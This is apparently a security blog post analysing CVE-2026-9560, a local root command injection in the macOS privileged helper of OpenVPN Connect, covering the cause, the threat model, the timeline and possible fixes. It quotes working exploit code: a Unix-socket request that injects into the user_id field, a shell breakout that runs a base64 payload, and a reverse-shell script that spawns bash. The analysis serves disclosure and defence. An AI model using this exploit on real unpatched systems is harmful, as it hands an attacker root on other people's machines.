OpenVPN Connect's macOS privileged helper listens on /var/run/ovpnhelper_service.sock. Any local user can open the socket. The helper accepts HTTP-shaped requests, reads user_id out of the JSON body of POST /dpc-request, and concatenates it into a shell command run as root. The field is called user_id. CVE-2026-9560 is the eighteen months OpenVPN Inc. shipped that.
CVE-2026-9560: OpenVPN Connect's Privileged Helper Concatenated A Field Called user_id Into A Shell
vendor
pattern
cve
proof of concept
The exploit is a single HTTP request to a Unix socket
The PoC at dninhl/CVE-2026-9560 is 124 lines of Python. The first 40 are the exploit. The rest is a reverse-shell handler.
SOCKET_PATH = "/var/run/ovpnhelper_service.sock"
def inject(cmd):
payload = {"dpc_request": {
"correlation_id": "3fa85f64-5717-4562-b3fc-2c963f66afa6",
"timestamp": datetime.datetime.now().strftime("%a %b %d %H:%M:%S.%f %Y"),
"ver": "1.0",
"client_info": True,
"user_id": cmd
}}
body = json.dumps(payload)
req = (
f"POST /dpc-request HTTP/1.1\r\n"
f"Host: localhost\r\n"
f"Content-Type: application/json\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n{body}"
).encode()
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(SOCKET_PATH)
sock.sendall(req)The transport is AF_UNIX, SOCK_STREAM. The framing inside the stream is HTTP/1.1. The endpoint is /dpc-request. The body is a JSON envelope whose top-level key is dpc_request and whose payload has five fields: a correlation UUID, a wall-clock timestamp, a protocol version, a boolean for whether to collect client info, and a user identifier. Only one of those five reaches a shell. It is the one called user_id.
The PoC's injection is a classic single-quoted shell breakout:
inject(f"' ; echo {b64} | base64 -d > /tmp/.r.py ; python3 /tmp/.r.py ; rm -f /tmp/.r.py ; echo '")The opening ' terminates a single-quoted string the helper is putting the value into. Three semicolon-separated commands run inside the shell the helper invoked: a base64 decode into /tmp/.r.py, a python3 execution of that file, an rm of the file. The closing ' reopens the single-quoted string the helper expected to terminate. The payload that gets decoded into /tmp/.r.py is a fork-daemonised reverse shell:
import os,sys,socket,pty
pid=os.fork()
if pid>0:sys.exit(0)
os.setsid()
pid=os.fork()
if pid>0:sys.exit(0)
s=socket.socket()
s.connect(("127.0.0.1", PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")The double-fork detaches from the helper's process tree so the helper does not block on the child. The connect-back lands on a TCP listener the PoC stood up on 127.0.0.1 immediately before sending the request. The shell that arrives on that listener is running as the same UID as the helper. ovpnhelper is a macOS LaunchDaemon. LaunchDaemons run as root.
This is one of the most legible shell-injection shapes in the literature. A reader who has spent any time with sh -c knows what the helper looks like before reading another line. Somewhere inside ovpnhelper, a line of code that does roughly
char cmd[PATH_MAX];
snprintf(cmd, sizeof(cmd),
"/usr/bin/somehelper --user-id '%s' ...",
req.user_id);
system(cmd);OpenVPN Connect for macOS is closed source, so we cannot reproduce the literal line. The injection shape names it. A field arrives as a string from JSON, gets dropped into a shell argument, and is wrapped in single quotes the developer believed would contain it. They do not. Single-quoted shell strings are not escape mechanisms; they are character literals that end at the first inner '.
The field's name is what made the developer trust it
The other four fields in the envelope are not interesting to an attacker. correlation_id is a UUID the sender generates; useful for log correlation, not for shell injection. timestamp is a formatted wall-clock string the helper writes to a log line. ver is a protocol version. client_info: true is a boolean toggle. Only user_id reaches the shell.
Look at the shape of the request and the developer's intent is visible. The helper's IPC protocol is structured as if it were an internal HTTP API: POST verb, JSON body, content-length, correlation IDs, version strings, the literal text Host: localhost inside the request body. The OpenVPN Connect UI is an Electron application; when the JavaScript UI needs to perform a privileged action, it sends a request to the native helper. The protocol was designed for a single caller, the Electron UI, and the field names reflect that. user_id is the identifier of the user logged into the OpenVPN Connect UI, the same value the UI is happy to send to OpenVPN's cloud-management backend.
A field called user_id, in the developer's mental model, is a database key. It is a string the UI obtained from a trusted source: a JWT subject claim, a config file value, a server response field. It is shaped like a UUID or an account identifier. Whatever it is, it is not user-supplied free-form text. The developer who wrote the line that concatenates user_id into a shell command was not careless about user input. They were careful about a value they did not perceive as user input.
The category error is in the threat model, not in the sanitization. There was nothing to sanitize because the field was not perceived as an input. It was a passthrough.
That is the structural reason. CWE-78 says OS Command Injection. CWE-267 says Privilege Defined With Unsafe Actions. CWE-648 says Incorrect Use of Privileged APIs. The three CWEs MITRE filed against this CVE are three angles on the same observation: the code takes a string from a peer, runs it in a shell, and assumed the peer was trustworthy. The name of the field was the trust signal the developer relied on.
This blog has covered the same shape before in different sinks. Apache Camel's HttpHeaderFilterStrategy was about a sanitizer that escaped for the wrong interpreter; the sanitized-the-secrets-not-the-sink pattern is about a developer who applied escape logic to fields they perceived as security-sensitive and skipped the field that actually flowed into a shell. CVE-2026-9560 is the case where the developer never reached the question of sanitization at all, because the field carried a semantically clean name and that was treated as sufficient.
The socket was never private
/var/run/ovpnhelper_service.sock is a Unix domain socket created by a macOS LaunchDaemon. LaunchDaemons run as root by default on macOS, and ovpnhelper has reason to: OpenVPN Connect needs root to create tun interfaces, install routes, write resolver configuration, and flush DNS caches when a connection comes up. The privileged-helper pattern is the standard architecture for VPN clients on macOS, and it is correct for what OpenVPN Connect needs to do. The privilege is justified by the defensive mission of the tool.
The socket's permissions are the part where the model breaks. A socket placed in /var/run with default permissions is connect-reachable by every local user. The helper has no syscall available that authenticates the peer by application identity; the OS can return the peer's UID via getpeereid(2), but the peer's process identity, the binary that opened the socket, the code signing of that binary, are not load-bearing in any check the helper performs in the request flow. The developer's mental model, "only the Electron UI talks to this socket," is not a property of the operating system. It is a property of the developer's assumptions about which processes the user has running.
The HTTP framing on top of a Unix socket is the second tell. Host: localhost appears in the PoC's request body. The developer was building what they conceived of as an internal HTTP service; they substituted a Unix socket for a localhost TCP listener because Unix sockets are slightly safer (no TCP port to bind, no firewall surface, no risk of a misconfigured listener accidentally binding to 0.0.0.0) and because the existing HTTP toolchain handles both transports.
Each step in the chain is a small mistake. Loopback is local to the machine. Local to the machine is every UID on the machine. Unix sockets in /var/run are connect-reachable by every UID on the machine. The trust boundary the helper imagines lives at "is the process the OpenVPN UI." The trust boundary the OS enforces lives at "is the process on this machine." There is no syscall that distinguishes the two.
This is the security-tool-as-primitive pattern in its local-IPC form. OpenVPN Connect is a security tool: it carries the credentials and the configuration that let the workstation reach the corporate network. Its privileged helper exists because the security tool's mission requires root. The helper's correct, intended, undiscounted behavior, accept a JSON request, run a shell command, return a response, becomes a one-line LPE primitive the moment the JSON request reaches a peer the developer did not intend.
Eighteen months
OpenVPN Connect 3.5.0 shipped on August 30, 2024. The CVE record names 3.5.1 as the first affected version, which dates the introduction of the vulnerable /dpc-request path to roughly September 2024. OpenVPN Connect 3.8.2 shipped on May 25, 2026, with a one-line release-notes entry:
Fixed a security vulnerability in the macOS privileged helper component (CVE-2026-9560)
Eighteen months separate the two releases. Every version in between, 3.5.1, 3.5.2, 3.6.x, 3.7.x, 3.8.0, 3.8.1, concatenated user_id into a shell as root on every macOS workstation where it was installed.
The release notes credit three researchers: Ismael Esquilichi, Pablo Redondo, and Lê Đức Ninh. The PoC at dninhl/CVE-2026-9560 was published from [email protected] on May 27, 2026, two days after the vendor patch shipped and inside the window of normal post-disclosure publication by the credited researcher. This is not a third-party reverse-engineer's reconstruction. It is the discoverer's own minimal repro, dropped after coordinated disclosure closed.
A repro that fits in 124 lines and that three researchers independently found inside the same disclosure window is not a subtle bug. It is what an obvious shell injection in a privileged helper looks like to anyone who runs lsof -U on a macOS workstation and notices a root-owned socket accepting an HTTP-shaped request. The bug was reachable, the bug was legible from the wire, and the bug shipped for eighteen months in enterprise VPN software whose deployment footprint is every macOS workstation in every organisation that picked OpenVPN as its VPN.
The CVE record assigns CVSS 3.1 7.8 (NIST) and CVSS 4.0 9.4 (OpenVPN Inc.). The vendor's score is the more honest one. The pre-auth requirement on the vector string is satisfied by any local code execution context, which on a multi-user macOS workstation includes every non-admin user account, every script the user runs from an email attachment, every node_modules install hook, every developer toolchain pre-built binary. The vendor scored it at 9.4 because the practical bar is the kind any malware execution context already clears.
What the patch had to do
The patch is not public. The release notes do not describe the fix. The candidates, in decreasing order of likelihood, are:
- Replace
system()/popen()withposix_spawn()orexecve()against an argv array, removing the shell from the loop entirely. The argv form does not interpret',;, or|. - Keep the shell invocation and strip metacharacters from
user_idbefore substitution. This is the wrong fix in spirit, because it leaves a shell behind a sanitiser, but is consistent with how closed-source vendors often patch this class of bug under time pressure. - Remove
/dpc-requestfrom the helper entirely, moving the device-posture-check workflow to a non-privileged path. The release notes' lack of detail is consistent with either of the first two; a removal would more typically appear in the release notes as a behavior change.
Whichever was chosen, the structural lesson is the same. A privileged helper that accepts an IPC payload from any local UID is in the same trust class as a network listener that accepts an HTTP request from the internet. The wire is different. The mistake about whose hands are on the wire is identical.
PoC: dninhl/CVE-2026-9560
The patch landed on May 25, 2026. The field is called user_id.